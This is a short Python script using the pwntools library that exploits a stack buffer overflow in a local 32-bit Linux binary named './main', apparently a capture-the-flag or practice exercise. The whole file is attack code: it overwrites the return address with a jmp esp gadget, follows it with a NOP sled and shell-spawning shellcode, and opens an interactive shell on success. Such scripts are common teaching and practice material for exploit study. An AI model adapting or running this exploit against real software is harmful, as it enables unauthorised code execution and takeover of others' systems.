
from pwn import *

SHELLCODE = asm(pwnlib.shellcraft.i386.linux.sh())
JMP_ESP = 0x08048493

s = process("./main")

# Uncomment for debugging
#gdb.attach(s, '''
#	b*0x080484e5
#	''')

payload = 'A'*128
payload += 'BBBB' # EBP
payload += p32(JMP_ESP)
payload += '\x90'*500
payload += SHELLCODE

payload += '\n'
s.send(payload)
print(s.recv())
s.interactive()
s.close()